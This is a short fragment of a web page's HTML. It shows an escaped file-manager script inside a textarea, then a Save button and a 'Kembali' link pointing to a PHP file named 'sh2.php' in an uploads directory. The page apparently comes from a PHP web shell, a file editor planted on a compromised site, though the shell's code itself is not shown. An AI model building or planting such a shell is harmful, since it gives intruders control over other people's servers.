                const submitBtn = this.querySelector('button[type=&quot;submit&quot;]');
                if (submitBtn) {
                    submitBtn.innerHTML = '⏳ Processing...';
                    submitBtn.disabled = true;
                }
            });
        });
        
        // Keyboard shortcuts help
        console.log(`
🚀 Keyboard Shortcuts:
- Ctrl + U: Upload file
- Ctrl + N: Create new file
- Ctrl + Shift + N: Create new folder
- Escape: Close modals
- Drag &amp; Drop files to upload
        `);
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/uploads/23_17_551754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>